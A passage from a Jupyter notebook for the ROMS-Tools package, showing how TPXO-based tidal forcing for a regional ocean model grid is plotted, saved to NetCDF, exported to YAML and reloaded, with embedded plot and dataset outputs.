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"text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "tidal_forcing.plot(\"ssh_Re\", ntides=0)" ] }, { "cell_type": "markdown", "id": "32e54fe0-eedd-4366-8a86-5a9bad6f7b57", "metadata": {}, "source": [ "## Saving as NetCDF or YAML file" ] }, { "cell_type": "markdown", "id": "efb06dd2-08d6-4123-9c80-436128512620", "metadata": {}, "source": [ "Finally, we can save our tidal forcing as a netCDF file via the `.save` method." ] }, { "cell_type": "code", "execution_count": 16, "id": "6cb0aeba-4df9-4532-8738-829c7b9c6342", "metadata": { "tags": [] }, "outputs": [], "source": [ "filepath = \"/pscratch/sd/n/nloose/forcing/my_tidal_forcing.nc\"" ] }, { "cell_type": "code", "execution_count": 17, "id": "537a0566-e8e3-4514-8d45-b596edd91b38", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 3min 21s, sys: 1.11 s, total: 3min 22s\n", "Wall time: 1.93 s\n" ] }, { "data": { "text/plain": [ "[PosixPath('/pscratch/sd/n/nloose/forcing/my_tidal_forcing.nc')]" ] }, "execution_count": 17, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%time tidal_forcing.save(filepath)" ] }, { "cell_type": "markdown", "id": "55259d65-1ce1-47bc-8615-a9457752a035", "metadata": {}, "source": [ "We can also export the parameters of our `TidalForcing` object to a YAML file." ] }, { "cell_type": "code", "execution_count": 18, "id": "c315f722-abac-450f-b091-ce16a7c3e0b5", "metadata": { "tags": [] }, "outputs": [], "source": [ "yaml_filepath = \"/pscratch/sd/n/nloose/forcing/my_tidal_forcing.yaml\"" ] }, { "cell_type": "code", "execution_count": 19, "id": "b235d5e7-0f04-4dfd-ac63-bcaed65af681", "metadata": { "scrolled": true, "tags": [] }, "outputs": [], "source": [ "tidal_forcing.to_yaml(yaml_filepath)" ] }, { "cell_type": "code", "execution_count": 20, "id": "0a6dd0f0-e3aa-4c63-8c27-36fb5c931399", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "---\n", "roms_tools_version: 0.1.dev138+dirty\n", "---\n", "Grid:\n", " N: 100\n", " center_lat: 61\n", " center_lon: -10\n", " hc: 300.0\n", " hmin: 5.0\n", " nx: 100\n", " ny: 100\n", " rot: -20\n", " size_x: 1800\n", " size_y: 2400\n", " theta_b: 2.0\n", " theta_s: 5.0\n", " topography_source: ETOPO5\n", "TidalForcing:\n", " allan_factor: 2.0\n", " model_reference_date: '2000-01-01T00:00:00'\n", " ntides: 10\n", " source:\n", " name: TPXO\n", " path: /global/cfs/projectdirs/m4746/Datasets/TPXO/tpxo9.v2a.nc\n", "\n" ] } ], "source": [ "# Open and read the YAML file\n", "with open(yaml_filepath, \"r\") as file:\n", " file_contents = file.read()\n", "\n", "# Print the contents\n", "print(file_contents)" ] }, { "cell_type": "markdown", "id": "fe6b5e8a-4afe-48bd-942b-dbcbd514cb06", "metadata": {}, "source": [ "## Creating tidal forcing from an existing YAML file" ] }, { "cell_type": "code", "execution_count": 21, "id": "20421891-d2f1-4cc9-b14a-46809a9153fb", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1min 45s, sys: 712 ms, total: 1min 46s\n", "Wall time: 7.11 s\n" ] } ], "source": [ "%time the_same_tidal_forcing = TidalForcing.from_yaml(yaml_filepath, use_dask=True)" ] }, { "cell_type": "code", "execution_count": 22, "id": "af7230c6-3cee-49e7-8028-c3a57697381c", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", 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eta_v: 101)\n", "Coordinates:\n", " omega (ntides) float64 80B dask.array&lt;chunksize=(10,), meta=np.ndarray&gt;\n", "Dimensions without coordinates: ntides, eta_rho, xi_rho, xi_u, eta_v\n", "Data variables:\n", " ssh_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " ssh_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " pot_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " pot_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " u_Re (ntides, eta_rho, xi_u) float32 412kB dask.array&lt;chunksize=(4, 102, 101), meta=np.ndarray&gt;\n", " u_Im (ntides, eta_rho, xi_u) float32 412kB dask.array&lt;chunksize=(4, 102, 101), meta=np.ndarray&gt;\n", " v_Re (ntides, eta_v, xi_rho) float32 412kB dask.array&lt;chunksize=(4, 101, 102), meta=np.ndarray&gt;\n", " v_Im (ntides, eta_v, xi_rho) float32 412kB dask.array&lt;chunksize=(4, 101, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS tidal forcing created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " source: TPXO\n", " model_reference_date: 2000-01-01 00:00:00\n", " allan_factor: 2.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-99c63fa8-a1a0-4e85-8809-e7909cad9b75' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-99c63fa8-a1a0-4e85-8809-e7909cad9b75' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span>ntides</span>: 10</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-7b83ee49-c518-4e09-ac53-401258680284' class='xr-section-summary-in' type='checkbox' checked><label for='section-7b83ee49-c518-4e09-ac53-401258680284' class='xr-section-summary' >Coordinates: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>omega</span></div><div class='xr-var-dims'>(ntides)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(10,), meta=np.ndarray&gt;</div><input id='attrs-addfbd25-28af-4f81-9c87-b61275654c0d' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-addfbd25-28af-4f81-9c87-b61275654c0d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use 